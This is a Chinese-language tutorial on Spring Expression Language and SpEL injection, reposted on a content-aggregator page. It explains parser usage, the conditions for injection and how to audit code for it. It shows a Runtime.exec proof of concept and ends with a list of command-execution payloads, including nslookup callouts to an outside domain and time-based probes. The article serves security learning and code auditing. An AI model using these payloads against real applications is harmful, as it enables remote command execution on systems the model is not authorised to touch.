SPEL注入详解 您所在的位置:网站首页 nslookup使用方法 SPEL注入详解

SPEL注入详解

2023-05-07 20:43| 来源: 网络整理| 查看: 265

SPEL简介什么是SPEL

SPEL(Spring Expression Language),即Spring表达式语言,比JSP的EL更强大的一种表达式语言。特别是方法调用和基本的字符串模板功能。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEl可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。

表达式语言

上面说了spel是一种表达式语言,那么什么是表达式语言呢?

表达式/模板:在一些功能中,有一些固定的格式,只有部分变量,这样的情况下就需要使用模板,模板就是将固定的部分提取出来形成一个固定的模块,然后经过处理将变量填入其中。

我们可能还接触过类似的语言,如EL,OGNL。

EL:常用语JSP页面,简化JSP页面的操作

OGNL:struts中常见

SPEL的常用功能

从官方文档上可以看到SPEL支持下面的功能:

Literal expressions:文字表达式 Boolean and relational operators :布尔和关系运算符 Regular expressions:正则表达式 Class expressions:类表达式 Accessing properties, arrays, lists, maps:访问属性,数组,列表... Method invocation:使用方法 Relational operators Assignment Calling constructors:调用构造方法 Bean references:Bean表达式,如果已使用 Bean 解析程序配置了评估上下文,则可以使用 (@) 符号从表达式中查找 Bean。 Array construction Inline lists Ternary operator Variables:变量表达式 User defined functions:定义方法 Collection projection Collection selection Templated expressions:模块化表达式

SPEL是一种非常强大的表达式语言,从上面可以看出,它支持众多的操作,这些操作我们不必全部掌握,只要掌握与安全相关的

SPEL基本用法

接下来来学习一下SPEL的基本用法

如下面代码所示,首先通过SpelExpressionParser创建解析器,然后传入要评估的表达式,最后通过getValue执行表达式来获取最后的结果。

ExpressionParser parser = new SpelExpressionParser(); //创建解析器 Expression exp = parser.parseExpression("'Hello World'"); //传入需要评估的表达式 String message = (String) exp.getValue(); //执行表达式,然后获取值

上面说的比较简单,其实在很多情况下,评估表达式需要设置上下文,执行表达式时从上下文中取值。

上下文其实就是设置好某些变量的值,执行表达式时根据这些设置好的内容区获取值。

SpEL在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。

如下,设置上下文时的操作

ExpressionParser parser = new SpelExpressionParser(); //创建解析器 EvaluationContext context = new StandardEvaluationContext("rui0"); //设置上下文 context.setVariable("variable", "ruilin"); //设置上下文,varibale=ruilin String result1 = parser.parseExpression("#variable").getValue(context, String.class); //取值时传入上下文内容,然后执行表达式SPEL语法

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}引用其他对象的属性:#{car.brand}调用其它方法 , 还可以链式操作:#{car.toString()}

除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

#{T(java.lang.Math)}

T()运算符的结果会返回一个java.lang.Math类对象。

SPEL常用功能介绍1.类类型表达式(Class expressions)

SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()操作符进行声明。括号中需要包含类名的全限定名,也就是包名加上类名。唯一例外的是,SpEL内置了java.lang包下的类声明,也就是说java.lang.String可以通过T(String)访问,而不需要使用全限定名。

因此我们通过 T() 调用一个类的静态方法,它将返回一个 Class Object,然后再调用相应的方法或属性。

如下,可以成功弹出计算机

ExpressionParser parser1 = new SpelExpressionParser(); //创建解析器Expression exp1 = parser1.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")"); Object value = exp1.getValue(); //执行表达式

1682688133_644bc88593d27a2089f4b.png!small?1682688129377

2.方法的使用(Method invocation)

spel中可以调用一些方法,如下:

ExpressionParser parser2 = new SpelExpressionParser(); //创建解析器 Expression exp2 = parser2.parseExpression("'abc'.substring(2,3)"); //传入spel表达式,可以执行substring()方法 String message2 = (String) exp2.getValue(); //执行表示式3.使用变量表达式(Variables)

变量定义通过EvaluationContext接口的setVariable(variableName, value)方法定义;在表达式中使用#variableName引用;

除了引用自定义变量,SpEL还允许引用根对象及当前上下文对象,

使用#root引用根对象,

使用#this引用当前上下文对象。

ExpressionParser parser = new SpelExpressionParser(); //创建解析器 EvaluationContext context = new StandardEvaluationContext("rui0"); //设置上下文 context.setVariable("variable", "ruilin"); //设置上下文,varibale=ruilin String result1 = parser.parseExpression("#variable").getValue(context, String.class); //取值时传入上下文内容,然后执行表达式4.模板表达式(Templated expressions)

表达式模板允许文字文本与一个或多个解析块的混合。 你可以每个解析块分隔前缀和后缀的字符。当然,常见的选择是使用#{}作为分隔符。

ExpressionParser parser5 = new SpelExpressionParser(); //创建解析器 Expression exp5 = parser2.parseExpression("spel test is #{T(java.lang.Math).random()}",new TemplateParserContext()); //传入表达式模板 String message5 = (String) exp2.getValue(String.class); //执行表达式SPEL注入

上面了解了SPEL的一些基础知识,下面来看一下SPEL导致的命令执行漏洞

漏洞原因

从上面的例子中,SPEL功能包含了执行类和方法的功能,如果输入可控,则就有安全风险。

SPEL注入的条件:

1)评估表达式外部可控

2)使用StandardEvaluationContext,如果没有说明,默认使用的也是StandardEvaluationContext

3)执行了getvalue()等执行表达式的操作

StandardEvaluationContext与SimpleEvaluationContext的区别

除了StandardEvaluationContext,还有SimpleEvaluationContext,他们的区别如下:

SimpleEvaluationContext:针对 不需要 SpEL 语言语法的全部范围并且应该 受到有意限制 的表达式类别,公开 SpEL 语言特性和配置选项的子集。 StandardEvaluationContext:公开 全套 SpEL 语言功能和配置选项。用户 可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

代码审计SPEL注入的过程

parseExpression()方法----StandardEvaluationContext()----getvalue()

代码中全局搜索parseExpression方法,看其输入是否可控,然后看使用的上下文是否是StandardEvaluationContext(默认的也是StandardEvaluationContext),最后看是否执行了getvalue等操作方法。

如果满足上面的要求,则说明存在SPEL注入。

SPEL注入常用Payload${12*12} T(java.lang.Runtime).getRuntime().exec("nslookup a.com") T(Thread).sleep(10000) #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com') new java.lang.ProcessBuilder({'nslookup a.com'}).start()

总结

SPEL注入是比较常见的漏洞,在各种框架中都有见到其身影,如SpringBoot SpEL表达式注入漏洞,Spring Data Commons远程代码执行漏洞(CVE-2018-1273)等等。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有